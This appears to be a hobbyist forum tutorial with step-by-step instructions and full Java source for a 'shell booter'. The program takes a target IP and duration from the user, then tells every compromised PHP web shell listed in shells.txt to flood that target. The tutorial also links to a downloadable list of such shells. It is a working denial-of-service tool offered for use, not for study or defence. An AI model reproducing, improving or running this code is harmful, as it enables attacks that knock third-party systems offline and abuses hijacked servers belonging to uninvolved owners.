First we need to make a new project in eclipse and name it booter.
put the line of code for the main method
now we need to make a new scanner
and declare the variables for the input
next we need to ask for the input for the IP to boot and the amount of time
now we need to declare a new httpurlconnection for the http socket
and write the code to read from our shells.txt file
now we need to declare a new string for the url of the shell
now we need to declare a new url and use the host and time variables so the shells know what to boot.
and initialize the connection we defined earlier
and now we need to actually connect to the shell's
now set the connect timeout.
and print something to show that its connected
now for the catch's and stuff
so the whole code should look like this
and now you have successfully made your own java shell booter.
i will provide a link to a list of shells you will need to place in the same file as the jar when you run it.
link to shell list: http://www.mediafire.com/view/?39bgpn35qyay3w2
happy coding 🤝.
note: shells may take a while to respond so if you don't see a message for 10 seconds this is normal.
and a response code of 200.0 means success!
put the line of code for the main method
Code
public static void main(String args[]) {Code
Scanner scanner = new Scanner(System.in);Code
String host;
int time;Code
System.out.println("enter the ip (has to be number ip) to take on");
host = scanner.next();
System.out.println("enter the boot time (most shells dont accept more than 30)");
time = scanner.nextInt();Code
HttpURLConnection connection = null;Code
BufferedReader in = new BufferedReader(new FileReader("shells.txt"));Code
String str;Code
URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);Code
connection = (HttpURLConnection) url.openConnection();Code
connection.connect();Code
connection.setConnectTimeout(6000);Code
float response = connection.getResponseCode();
System.out.println("request sent to shell with a responsecode of: " + response);Code
}} catch (MalformedURLException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}}so the whole code should look like this
Code
package me.tommycake50.booter;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Scanner;
public class Booter {
public static void main(String args[]) {
Scanner scanner = new Scanner(System.in);
String host;
int time;
System.out.println("enter the ip (has to be number ip) to take on");
host = scanner.next();
System.out.println("enter the boot time (most shells dont accept more than 30)");
time = scanner.nextInt();
//make a new httpurlconnection
HttpURLConnection connection = null;
try {
//get data from the file shells.txt
BufferedReader in = new BufferedReader(new FileReader("shells.txt"));
String str;
// reads shells.txt and does something for every line
while ((str = in.readLine()) != null) {
//makes a new URL called url
URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);
//uses httpurlconnection for url
connection = (HttpURLConnection) url.openConnection();
//connects to the url
connection.connect();
//sets the timeout
connection.setConnectTimeout(6000);
//gets the response code
float response = connection.getResponseCode();
//prints request sent to shell and the response code if resnse code is 200 then the connection has succeeded
System.out.println("request sent to shell with a responsecode of: " + response);
}} catch (MalformedURLException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}}and now you have successfully made your own java shell booter.
i will provide a link to a list of shells you will need to place in the same file as the jar when you run it.
link to shell list: http://www.mediafire.com/view/?39bgpn35qyay3w2
happy coding 🤝.
note: shells may take a while to respond so if you don't see a message for 10 seconds this is normal.
and a response code of 200.0 means success!

